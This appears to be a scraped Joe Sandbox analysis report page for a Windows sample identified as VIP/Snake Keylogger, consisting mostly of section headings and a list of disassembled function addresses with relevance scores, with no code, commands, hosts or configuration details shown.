Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Lpjrd6Wxad.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
Lpjrd6Wxad.exe

Function 05828AA8 Relevance: 2.0, APIs: 1, Instructions: 526
COMMON

Function 01026FC8 Relevance: .5, Instructions: 469
COMMON

Function 01023E12 Relevance: .3, Instructions: 263
COMMON

Function 0102C147 Relevance: .2, Instructions: 234
COMMON

Function 058290AC Relevance: 1.6, APIs: 1, Instructions: 62
libraryCOMMON

Function 0102E287 Relevance: .7, Instructions: 657
COMMON

Function 0102E2A8 Relevance: .6, Instructions: 647
COMMON

Function 01028490 Relevance: .6, Instructions: 593
COMMON

Function 0102848F Relevance: .6, Instructions: 565
COMMON

Function 01020C93 Relevance: .5, Instructions: 543
COMMON

Function 01020CA0 Relevance: .5, Instructions: 539
COMMON

Function 0102791D Relevance: .3, Instructions: 333
COMMON

Function 0102A0F8 Relevance: .3, Instructions: 304
COMMON

Function 01025F38 Relevance: .3, Instructions: 266
COMMON

Function 01026498 Relevance: .2, Instructions: 232
COMMON